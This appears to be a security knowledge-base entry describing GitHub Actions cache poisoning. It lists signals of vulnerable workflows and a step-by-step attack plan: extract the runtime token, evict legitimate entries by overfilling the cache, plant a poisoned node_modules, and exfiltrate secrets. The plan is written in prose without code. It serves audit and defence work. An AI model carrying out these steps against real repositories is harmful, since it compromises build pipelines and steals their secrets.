github-actions-cache-poisoning

GitHub Actions Cache Poisoning

What Is Broken and Why

GitHub Actions caches are shared across workflow runs within a repository. When a privileged workflow (with access to secrets or write permissions) restores a cache without verifying its integrity, an attacker who can write to the cache — even via a low-privilege workflow — can plant malicious content that executes in the privileged context. Since GitHub's November 2025 cache policy change, entries exceeding 10 GB are evicted immediately (not via batch jobs), making it possible to force eviction of legitimate cache entries and replace them with poisoned ones within a single workflow run.

Key Signals

• Shared cache key across PR and release workflows: key: ${{ runner.os }}-node-${{ hashFiles('**/package.json') }} used identically in both a pull_request/pull_request_target workflow AND a release/publish workflow
• Repository uses actions/cache, actions/setup-node, actions/setup-python (or similar) with caching enabled
• A scheduled or bot-triggered workflow runs with elevated secrets and restores a shared cache
• Cache keys are predictable or controllable (e.g., based on pnpm-lock.yaml hash, OS, Node version)
• Attacker can trigger a workflow (e.g., via fork PR) that writes to the same cache namespace
• pull_request workflows share cache namespace with base branch workflows
• Package manager install step runs after cache restore without lockfile integrity check: pnpm install --frozen-lockfile (still executes postinstall scripts from restored cache)
• Large cache repositories (close to or exceeding 10 GB limit)

Methodology

1. Map all workflows and identify privileged ones: scheduled runs, workflow_run, bot-triggered, those with secrets.* access.
2. Identify cache restore steps in privileged workflows — note cache keys and what is restored (node_modules, pip, gradle, etc.).
3. Identify a workflow the attacker can trigger (fork PR, workflow_dispatch) that writes to the same cache namespace.
4. Confirm the cache key overlap: attacker-controlled workflow must produce a cache entry that the privileged workflow will restore.
5. Gain code execution in attacker-controlled workflow (e.g., via script injection — see github-actions-script-injection).
6. From that execution context: a. Extract ACTIONS_RUNTIME_TOKEN from environment. b. Stuff the repository cache beyond 10 GB with junk data to force immediate LRU eviction of legitimate entries. c. Write poisoned cache entry (malicious node_modules with postinstall hook or patched binary).
7. Wait for privileged workflow to run and restore the poisoned cache.
8. Poisoned code executes — exfiltrate secrets or perform privileged actions.